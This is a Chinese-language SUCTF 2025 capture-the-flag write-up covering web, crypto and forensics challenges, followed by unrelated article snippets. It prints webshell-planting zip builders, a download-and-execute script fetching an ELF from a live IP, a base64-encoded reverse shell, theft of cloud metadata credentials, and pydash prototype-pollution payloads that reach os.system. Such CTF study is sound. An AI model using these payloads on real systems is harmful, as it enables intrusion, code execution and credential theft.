suctf2025
Suctf2025
--2标识为看的wp,没环境复现了
所有参考资料将在文本末尾标明
WEB
SU_photogallery
思路👇
构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而进入到if里,我们的shell就这样留下了
先是php版本的漏洞
再根据源码漏洞上码
三种写码方法如下👇
法一
<?php $zip = new ZipArchive(); $zipFilePath = 'exp.zip'; if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $zip->addFile('1.php', "..\./..\./a.jpg"); $zip->close(); echo "ok"; } ?>
配上
GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1 Host: 1.95.157.235:10002 Connection: close GET /upload/suimages/a.php?1=cat%20/seef1ag_getfl4g HTTP/1.1
法二
import zipfile import io mf = io.BytesIO() with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:zf.writestr('fff.php', b'''@<?php $a = "sy"."s"."tem"; $a("ls / ");?>''')zf.writestr('A'*5000, b'AAAAA') with open("shell.zip", "wb") as f:f.write(mf.getvalue())
法三
手动改压缩包,塞入第二个文件的第二个名字换成/
部分原因复现可能失败,我用火狐浏览器复现失败,换的Google成功
easyk8s
读取文件
# 打开文件并读取内容 with open('/app/audit.py', 'r') as file:content = file.read()print(content)
读取目录
import os # 获取根目录(Unix/Linux/MacOS的根目录,Windows上会是C盘或其他驱动器) root_dir = '/' # 列出根目录下的文件和文件夹 files_and_dirs = os.listdir(root_dir) # 打印所有文件和文件夹 for item in files_and_dirs:print(item)
查找与其他网络关系
那就探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最终在proc/net/fib_trie发现一个
码也写不进去,shell出不来
import os import requests # 远程文件URL url = 'http://123.56.226.71/mshell.elf' # 目标保存的文件名 file_name = '/tmp/mshell.elf' # 下载文件 response = requests.get(url) with open(file_name, 'wb') as f:f.write(response.content) # 赋予执行权限 os.chmod(file_name, 0o755) # 执行下载的文件 import ctypes # 调用 C 的 system 函数 ctypes.CDLL("libc.so.6").system("sh /tmp/mshell.elf") os.system(f'./{file_name}')
''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['sys'].modules['os'] ''.__class__.__mro__ [1].__subclasses__()[157].__init__.__globals__['__builtins__']['eval']
--2
弹shell
import os import _posixsubprocess _posixsubprocess.fork_exec([b"","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTYuMjM4LjIzMy4xMC8xMTQ1MiAwPiYx}|{base64,-d}|{bash,-i}"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
DEBUG=True # open debug import os,sys op = print def print(*args):t = sys._getframe(1).f_locals['audit_functions']t["os.system"]['ban']= Falseop(t)return op(*args) os.system("ls") ## RCE
后边操作看不懂了,是nfs的
easyk8s-easy
--2
访问元数据
import requests print(requests.get("http://100.100.100.200/latest/meta-data/ram/security-credentials/").text) print(requests.get("http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root").text)
访问oss,以下命令在攻击者机器上执行
aliyun configure --mode=StsToken # 配置 上面得到的 aksk aliyun oss ls # get oss://suctf-flag-bucket aliyun oss ls oss://suctf-flag-bucket --all-versions # 开了 bucket 版本控制 flag 被删除了 还原 可以得到 flag aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA--
SU_blog
有文件包含,没使用权限,不是php,放弃
有cve,bootstrap的CVE-2024-6531,没找到poc
有提示
© 2025 My Blog. All rights reserved. 我最喜欢时间戳了,而且听说md5这种单项签名非常安全,所以我把博客诞生的时间当做了自己的SECRET
应该是身份伪造
--复现
先按照提示伪造身份
显示文件包含读取源码+waf,
读取waf用../间隔开用来
?file=articles/....//....//app/wa../f.py
然后pydash原型链污染
污染点
app.py的set_(user_data, key, value)
Pydash 原型链污染
jinja2模板
{"name":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('id')"}
根据waf修改完之后
{"key": ".__init__.__globals__.t.NamedTuple.__globals__.sys.modules.jinja2.runtime.exported[2]","value": "*;import os;os.system('/read* >/tmp/gaoren.txt')"}
jBOSS
CVE-2017-12149检测
-
/invoker/readonly
CVE-2017-7504检测
-
/jbossmq-httpil/HTTPServerILServlet
密码
SU_signin
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab K = GF(p) E = EllipticCurve(K, (0, 4)) o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289 n1, n2 = 859267, 52437899 flag = '0' from tqdm import * exec(open('data.txt').read()) for i in trange(1, len(cs)):try:roots = discrete_log((o//n1)*n2*E(cs[0]), (o//n1)*n2*E(cs[i]), operation='+')flag += '0'except:flag += '1'continue from Crypto.Util.number import * print(long_to_bytes(int(flag, 2)))
MISC
SU_forensics
Ubuntu14.04密码恢复
-
进入界面长按shift
-
高级选项
-
revovery mode
-
ro后边的改成quiet splash rw init=/bin/bash
-
倒数第四行,会看到一行Linux /boot/vmlnuz-4.2.0-27-generic .......ro recovery nomodeset,
-
quiet splash rw init=/bin/bash
-
-
f10启动
-
passwd修改密码
-
然后passwd bkfish修改bkfish密码
-
-
最后visudo里加上去
-
bkfish ALL=(ALL:ALL) ALL
-
这里面有个加密压缩包文件👇
https://github.com/testtttsu/homework/blob/a4be9c81ae540340f3e208dc9b1ee109ea50305c/lost_flag.txt
参考
https://blog.csdn.net/lcczzu/article/details/100148616
进程查看
lsof | grep deleted #被删除却仍在使用
恢复文件
.bash_history
-
每当你在终端中执行一个命令时,
bash
会将该命令记录到.bash_history
文件中 -
位于用户的 主目录 中,如
/home/username/.bash_history
用diskgenius
内容
echo "My secret has disappeared from this space and time, and you will never be able to find it." curl -s -o /dev/null https://www.cnblogs.com/cuisha12138/p/18631364 sudo reboot
去搜索网站是一张图片,里面有加黑的key,需要调图片拿key
-
2phxMo8iUE2bAVvdsBwZ
根据图片的网站进去有个脚本+压缩包文件源码
图片一堆奇怪文字,真成misc了,不做了
法一
法二
strings开搜sudo reboot
strings xxx。vmdk |grep -n -A 20 -B 20 "sudo reboot"
找到bash_history
法三
sudo grep -a -B 50 -A 50 'sudo reboot' /dev/sda1 | tr -cd '\11\12\15\40-\176' > result.txt
虽然看起来我们的命令记录完全消失了,实际上如果运气比较好,对应的内容没有被覆盖,磁盘里可能还保留了.bash_history的文件内容,首先用df -h查看一下磁盘分区
命令的意思大概是用 grep
从 /dev/sda1
中查找包含 sudo reboot
的行,并显示其上下 50 行的内容,然后通过 tr
过滤掉除 ASCII 可打印字符、空白符和换行符/回车符以外的所有字符,清理输出内容。最后,将处理后的内容保存到 result.txt
文件中。
法四
real_checkin
🐍☂️🐈🌮🍟分别对应以下: snake umbrellla cat taco fries 取第一个字符得到suctf,依次类推得到: suctf{welcome_to_suctf_you_can_really_dance}
SU_ad
https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e
https://kcno7cq8euks.feishu.cn/wiki/PKx0w2LrtiVo99k3tEDc0xBnnre
checkin
直接搜flag追踪
PBEWithMD5AndDES,密码长度为 23 位
爆破脚本
from Crypto.Util.number import * from Crypto.Cipher import DES from hashlib import md5 from base64 import b64decode from tqdm import tqdm from itertools import product password = b"SePassWordLen23SUCTF" OUTPUT = b"ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg=" alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}_-" enc = b64decode(OUTPUT) salt = enc[:8] enc = enc[8:] s = product(alphabet, repeat=3) for a, b, c in tqdm(s):key = password + (a+b+c).encode() + saltfor i in range(1000):key = md5(key).digest()cipher = DES.new(key[:8], DES.MODE_CBC, iv = key[8:])dec = cipher.decrypt(enc)if b'SUCTF{' in dec or b'suctf{' in dec:print(dec)print(a+b+c)exit()
参考
https://mp.weixin.qq.com/s/WAtpKN7lMzzr0pGUX07juA
https://mp.weixin.qq.com/s/sLE42aWH1FyYUiC3H9TwiA
https://jk64eb0pjs.feishu.cn/docx/O6OUd1iSro8XcpxlpDAc0si5n5e
https://blog.s1um4i.com/2025-SUCTF/#su_pwn
https://blog.0xfff.team/posts/suctf_2025_writeup/#su_photogallery
https://github.com/team-su/SUCTF-2025/tree/main/web/SU_photogallery/writeup
相关文章:

suctf2025
Suctf2025 --2标识为看的wp,没环境复现了 所有参考资料将在文本末尾标明 WEB SU_photogallery 思路👇 构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而…...

Quinlan C4.5剪枝U(0,6)U(1,16)等置信上限如何计算?
之前看到Quinlan中关于C4.5决策树算法剪枝环节中,关于错误率e置信区间估计,为啥 当E=0时,U(0,1)=0.75,U(0,6)=0.206,U(0,9)=0.143? 而当E不为0时,比如U(1,16)=0.157,如图: 关于C4.5决策树,Quinlan写了一本书,如下: J. Ross Quinlan (Auth.) - C4.5. Programs f…...

计算机组成原理--笔记二
目录 一.计算机系统的工作原理 二.计算机的性能指标 1.存储器的性能指标 2.CPU的性能指标 3.系统整体的性能指标(静态) 4.系统整体的性能指标(动态) 三.进制计算 1.任意进制 > 十进制 2.二进制 <> 八、十六进制…...
麒麟系统中删除权限不够的文件方法
在麒麟系统中删除权限不够的文件,可以尝试以下几种方法: 通过修改文件权限删除 打开终端:点击左下角的“终端”图标,或者通过搜索功能找到并打开终端 。定位文件:使用cd命令切换到文件所在的目录 。修改文件权限&…...

自定义提示确认弹窗-vue
最初可运行代码 弹窗组件代码: (后来发现以下代码可运行,但打包 typescript 类型检查出错,可打包的代码在文末) <template><div v-if"isVisible" class"dialog"><div class&quo…...

运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服 根据上一步的步骤,已经调试了ONE API的接口,下面,我们就登陆fastGPT吧 http://xxx.xxx.xxx.xxx:3000/ 这个就是你的fastGPT后台地址,可以在configer文件中找到。 账号是…...

CSS 合法颜色值
CSS 颜色 CSS 中的颜色可以通过以下方法指定: 十六进制颜色带透明度的十六进制颜色RGB 颜色RGBA 颜色HSL 颜色HSLA 颜色预定义/跨浏览器的颜色名称使用 currentcolor 关键字 十六进制颜色 用 #RRGGBB 规定十六进制颜色,其中 RR(红色&…...

Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...

AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...

Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
大数据系列之:上传图片到cos、cos
大数据系列之:上传图片到cos、cos 安装python cos sdk上传图片到cos高级上传接口分页列举桶内对象cos桶之间复制cos桶之间复制图片数据 安装python cos sdk pip install -U cos-python-sdk-v5上传图片到cos # -*- codingutf-8 from qcloud_cos import CosConfig fr…...

wsl 使用 docker
直接在 wsl 安装 docker , 有可能会失败,可以通过在 windows 安装 Docker Desktop,然后连接 wsl 进行解决 注意: 1. 需要先安装 wsl 2. 使用时要先启动 docker Desktop, 才能在 wsl 中使用 下载: Docker: Accelerated Containe…...

归并延拓:LeetCode归并排序逆序对问题
前言 欢迎来到我的算法探索博客,在这里,我将通过解析精选的LeetCode题目,与您分享深刻的解题思路、多元化的解决方案以及宝贵的实战经验,旨在帮助每一位读者提升编程技能,领略算法之美。 👉更多高频有趣Lee…...

51.WPF应用加图标指南 C#例子 WPF例子
完整步骤: 先使用文心一言生成一个图标如左边使用Windows图片编辑器编辑,去除背景使用正方形,放大图片使图标铺满图片使用格式工程转换为ico格式,分辨率为最大 在资源管理器中右键项目添加ico类型图片到项目里图片属性设置为始终…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...

K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路
进入2025年以来,尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断,但全球市场热度依然高涨,入局者持续增加。 以国内市场为例,天眼查专业版数据显示,截至5月底,我国现存在业、存续状态的机器人相关企…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)
目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...

AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...